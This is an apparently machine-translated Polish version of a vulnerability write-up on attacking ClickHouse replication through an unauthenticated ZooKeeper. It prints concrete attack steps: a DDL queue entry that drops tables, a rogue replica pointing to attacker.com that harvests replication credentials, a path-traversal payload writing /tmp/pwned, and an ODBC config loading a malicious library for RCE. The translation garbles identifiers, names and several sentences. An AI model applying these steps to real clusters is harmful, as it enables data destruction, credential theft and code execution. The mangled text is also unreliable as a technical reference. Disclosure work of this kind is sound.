W tym artykule opowiemy historię bardzo specyficznej luki w protokole replikacji ClickHouse, a także pokażemy, w jaki sposób można rozszerzyć powierzchnię ataku.
ClickHouse to baza danych przeznaczona do przechowywania dużych wolumenów danych, najczęściej przy wykorzystaniu więcej niż jednej repliki. Klastrowanie i replikacja w ClickHouse są zbudowane na najwyższym poziomie
Domyślna instalacja ZK nie wymaga uwierzytelniania, dlatego tysiące serwerów ZK używanych do konfiguracji Kafki, Hadoopa, ClickHouse jest ogólnodostępnych.
Aby zmniejszyć powierzchnię ataku, podczas instalacji ZooKeepera należy zawsze skonfigurować uwierzytelnianie i autoryzację
Istnieją oczywiście deserializacja Java oparta na dniu 0-day, ale wyobraź sobie, że osoba atakująca może czytać i zapisywać w ZooKeeperze, używanym do replikacji ClickHouse.
Po skonfigurowaniu w trybie klastra ClickHouse obsługuje zapytania rozproszone /clickhouse/task_queue/ddl
.
Na przykład tworzysz węzeł /clickhouse/task_queue/ddl/query-0001
z treścią:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
a następnie tabela testowa zostanie usunięta z serwerów klastra host1 i host2. DDL obsługuje także uruchamianie zapytań CREATE/ALTER/DROP.
Brzmi przerażająco? Ale skąd osoba atakująca może uzyskać adresy serwerów?
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
zostaną utworzone węzły kolumny и metadanych.
Treść /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Czy można scalić dane z tego klastra? Tak, jeśli port replikacji (TCP/9009
) na serwerze chXX-address
zapora sieciowa nie zostanie zamknięta, a uwierzytelnianie na potrzeby replikacji nie zostanie skonfigurowane. Jak ominąć uwierzytelnianie?
Osoba atakująca może utworzyć nową replikę w ZK, po prostu kopiując zawartość /clickhouse/tables/01-01/foobar/replicas/chXX
i zmiana znaczenia host
.
Treść /clickhouse/tables/01–01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Następnie musisz poinformować pozostałe repliki, że na serwerze atakującego znajduje się nowy blok danych, który muszą pobrać - w ZK tworzony jest węzeł /clickhouse/tables/01-01/foobar/log/log-00000000XX
(XX licznik rosnący monotonicznie, który powinien być większy od ostatniego w dzienniku zdarzeń):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
gdzie replika_źródłowa — nazwę repliki atakującego utworzonej w poprzednim kroku, identyfikator_bloku — identyfikator bloku danych, otrzymać - polecenie „pobierz blok” (i
Następnie każda replika wczytuje nowe zdarzenie w logu i trafia na serwer kontrolowany przez atakującego, aby odebrać blok danych (protokół replikacji jest binarny, działa na bazie protokołu HTTP). serwer attacker.com
otrzyma prośby:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
gdzie XXX to dane uwierzytelniające dla replikacji. W niektórych przypadkach może to być konto z dostępem do bazy danych poprzez główny protokół ClickHouse oraz protokół HTTP. Jak widać, powierzchnia ataku staje się krytycznie duża, ponieważ ZooKeeper używany do replikacji pozostał bez skonfigurowanego uwierzytelniania.
Przyjrzyjmy się funkcji pobierania bloku danych z repliki, jest napisana z całkowitą pewnością, że wszystkie repliki są pod należytą kontrolą i istnieje między nimi zaufanie.
kod przetwarzania replikacji
Funkcja odczytuje listę plików, następnie ich nazwy, rozmiary, zawartość, a następnie zapisuje je do systemu plików. Warto osobno opisać sposób przechowywania danych w systemie plików.
W pliku znajduje się kilka podkatalogów /var/lib/clickhouse
(domyślny katalog przechowywania z pliku konfiguracyjnego):
Flagi - katalog do nagrywania
tmp — katalog do przechowywania plików tymczasowych;
pliki_użytkownika — operacje na plikach w żądaniach są ograniczone do tego katalogu (INTO OUTFILE i inne);
metadanych — pliki sql z opisami tabel;
preprocessed_configs - przetworzone pochodne pliki konfiguracyjne z /etc/clickhouse-server
;
dane - rzeczywisty katalog z samymi danymi, w tym przypadku dla każdej bazy danych po prostu tworzony jest tutaj osobny podkatalog (np /var/lib/clickhouse/data/default
).
Dla każdej tabeli tworzony jest podkatalog w katalogu bazy danych. Każda kolumna jest oddzielnym plikiem w zależności od
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
Replika oczekuje, że podczas przetwarzania bloku danych otrzyma pliki o tych samych nazwach i w żaden sposób ich nie sprawdza.
Uważny czytelnik prawdopodobnie słyszał już o niebezpiecznym łączeniu nazwy_pliku w funkcji WriteBufferFromFile
. Tak, umożliwia to atakującemu zapisanie dowolnej zawartości w dowolnym pliku na serwerze FS z uprawnieniami użytkownika clickhouse
. Aby to zrobić replika kontrolowana przez atakującego musi zwrócić na żądanie następującą odpowiedź (dla ułatwienia dodano podziały wierszy):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
i po połączeniu ../../../../../../../../../tmp/pwned
plik zostanie zapisany /tmp/pwned z treścią cześć od zookeepera.
Istnieje kilka opcji przekształcania możliwości zapisu plików w zdalne wykonanie kodu (RCE).
Słowniki zewnętrzne w RCE
W starszych wersjach katalog z ustawieniami ClickHouse był przechowywany z uprawnieniami użytkownika dom kliknięć domyślny. Pliki ustawień to pliki XML, które usługa odczytuje podczas uruchamiania, a następnie zapisuje w pamięci podręcznej /var/lib/clickhouse/preprocessed_configs
. W przypadku wystąpienia zmian są one ponownie odczytywane. Jeśli masz dostęp do /etc/clickhouse-server
atakujący może stworzyć własny root
.
ODBC do RCE
Podczas instalowania pakietu tworzony jest użytkownik clickhouse
, ale jego katalog domowy nie jest tworzony /nonexistent
. Jednakże w przypadku korzystania ze słowników zewnętrznych lub z innych powodów administratorzy tworzą katalog /nonexistent
i dać użytkownikowi clickhouse
dostęp do zapisu do niego (SSZB! około. tłumacz).
ClickHouse obsługuje odbc-bridge
, więc nie jest już możliwe określenie ścieżki sterownika z żądania. Czy jednak atakujący może dokonać zapisu w katalogu domowym, korzystając z opisanej powyżej luki?
Utwórzmy plik ~/.odbc.ini
z taką zawartością:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
następnie przy uruchomieniu SELECT * FROM odbc('DSN=lalala', 'test', 'test');
biblioteka zostanie załadowana test.so
i otrzymałem RCE (dzięki
Te i inne luki zostały naprawione w ClickHouse w wersji 19.14.3. Zadbaj o swój ClickHouse i ZooKeepers!
Źródło: www.habr.com